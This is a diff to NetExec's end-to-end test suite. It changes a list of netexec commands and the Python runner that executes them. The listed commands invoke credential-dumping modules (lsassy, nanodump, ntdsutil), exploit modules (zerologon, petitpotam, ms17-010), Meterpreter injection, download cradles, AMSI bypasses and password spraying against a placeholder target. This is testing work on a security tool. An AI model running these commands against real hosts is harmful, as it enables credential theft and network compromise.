netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
|
||||
# currently hanging indefinitely - TODO: look into this
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover --options
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger --options
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky --options
|
||||
# You must replace this with the proper CA information!
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1 --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi
|
||||
# Will need to change the PID for your test system
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir'
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp --options
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus --options
|
||||
# spider_plus takes a while to run, so it is commented out during normal testing
|
||||
# netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -o MSG="Message: {}"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
|
||||
# test for multiple modules at once
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
|
||||
@@ -151,9 +135,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
|
||||
netexec smb TARGET_HOST -u '' -p '' -M zerologon
|
||||
netexec smb TARGET_HOST -u '' -p '' -M petitpotam
|
||||
##### SMB Auth File
|
||||
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
||||
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
||||
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
||||
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
|
||||
netexec smb TARGET_HOST -u TEST_USER_FILE -p tests/data/test_passwords.txt
|
||||
##### WMI
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
|
||||
@@ -164,7 +148,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp
|
||||
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
|
||||
##### LDAP
|
||||
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
|
||||
@@ -178,32 +163,20 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gmsa
|
||||
##### LDAP Modules
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso --options
|
||||
##### WINRM
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method cmd
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method powershell
|
||||
@@ -219,44 +192,53 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --port 59
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto http --port 5985
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986
|
||||
##### MSSQL
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
|
||||
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
|
||||
##### MSSQL PowerShell
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
|
||||
##### MSSQL Modules
|
||||
# netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv --options
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
|
||||
# a bit janky, but we try to enable RDP before testing RDP
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
##### RDP
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
|
||||
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD
|
||||
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
||||
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
||||
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --key-file data/test_key.priv
|
||||
netexec ssh TARGET_HOST -u USERNAME -p '' --key-file data/test_key.priv
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
|
||||
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
|
||||
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --key-file tests/data/test_key.priv
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p '' --key-file tests/data/test_key.priv
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10
|
||||
##### FTP- Default test passwords and random key; switch these out if you want correct authentication
|
||||
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD
|
||||
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --ls
|
||||
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --put data/test_file.txt test_file.txt
|
||||
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --get test_file.txt
|
||||
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
||||
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
||||
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
||||
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
|
||||
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls
|
||||
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put tests/data/test_file.txt test_file.txt
|
||||
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
|
||||
+75
-16
@@ -1,16 +1,29 @@
|
||||
import argparse
|
||||
import os
|
||||
from os import getcwd
|
||||
from os.path import dirname, abspath, join, realpath, isfile, normpath
|
||||
import subprocess
|
||||
from time import time
|
||||
from rich.console import Console
|
||||
import platform
|
||||
import os
|
||||
from nxc.paths import TMP_PATH
|
||||
import sys
|
||||
if sys.stdout.encoding == "cp1252":
|
||||
sys.stdout.reconfigure(encoding="utf-8")
|
||||
|
||||
script_dir = dirname(abspath(__file__))
|
||||
run_dir = os.getcwd()
|
||||
|
||||
|
||||
def get_cli_args():
|
||||
parser = argparse.ArgumentParser(description="Script for running end to end tests for nxc")
|
||||
parser.add_argument(
|
||||
"--executable",
|
||||
default="netexec"
|
||||
)
|
||||
parser.add_argument(
|
||||
"-t",
|
||||
"--target",
|
||||
dest="target",
|
||||
required=True
|
||||
)
|
||||
parser.add_argument(
|
||||
@@ -69,10 +82,28 @@ def get_cli_args():
|
||||
help="Specify line numbers or ranges to run commands from",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--print-failures",
|
||||
action="store_true",
|
||||
"--test-user-file",
|
||||
required=False,
|
||||
help="Prints all the commands of failed tests at the end"
|
||||
default=normpath(join(script_dir, "data", "test_users.txt")),
|
||||
help="Path to the file containing test usernames",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--test-password-file",
|
||||
required=False,
|
||||
default=normpath(join(script_dir, "data", "test_passwords.txt")),
|
||||
help="Path to the file containing test passwords",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--amsi-bypass-file",
|
||||
required=False,
|
||||
default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")),
|
||||
help="Path to the file containing AMSI bypasses",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--test-normal-file",
|
||||
required=False,
|
||||
default=normpath(join(script_dir, "data", "test_file.txt")),
|
||||
help="Path to file to upload/download"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--dns-server",
|
||||
@@ -82,6 +113,7 @@ def get_cli_args():
|
||||
)
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def parse_line_nums(value):
|
||||
line_nums = []
|
||||
for item in value.split():
|
||||
@@ -92,10 +124,11 @@ def parse_line_nums(value):
|
||||
line_nums.append(int(item))
|
||||
return line_nums
|
||||
|
||||
|
||||
def generate_commands(args):
|
||||
lines = []
|
||||
file_loc = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))
|
||||
commands_file = os.path.join(file_loc, "e2e_commands.txt")
|
||||
file_loc = realpath(join(getcwd(), dirname(__file__)))
|
||||
commands_file = join(file_loc, "e2e_commands.txt")
|
||||
|
||||
with open(commands_file) as file:
|
||||
if args.line_nums:
|
||||
@@ -104,6 +137,8 @@ def generate_commands(args):
|
||||
if i + 1 in flattened_list:
|
||||
if line.startswith("#"):
|
||||
continue
|
||||
if "#" in line:
|
||||
line = line.split("#")[0]
|
||||
line = line.strip()
|
||||
if args.protocols:
|
||||
if line.split()[1] in args.protocols:
|
||||
@@ -114,6 +149,8 @@ def generate_commands(args):
|
||||
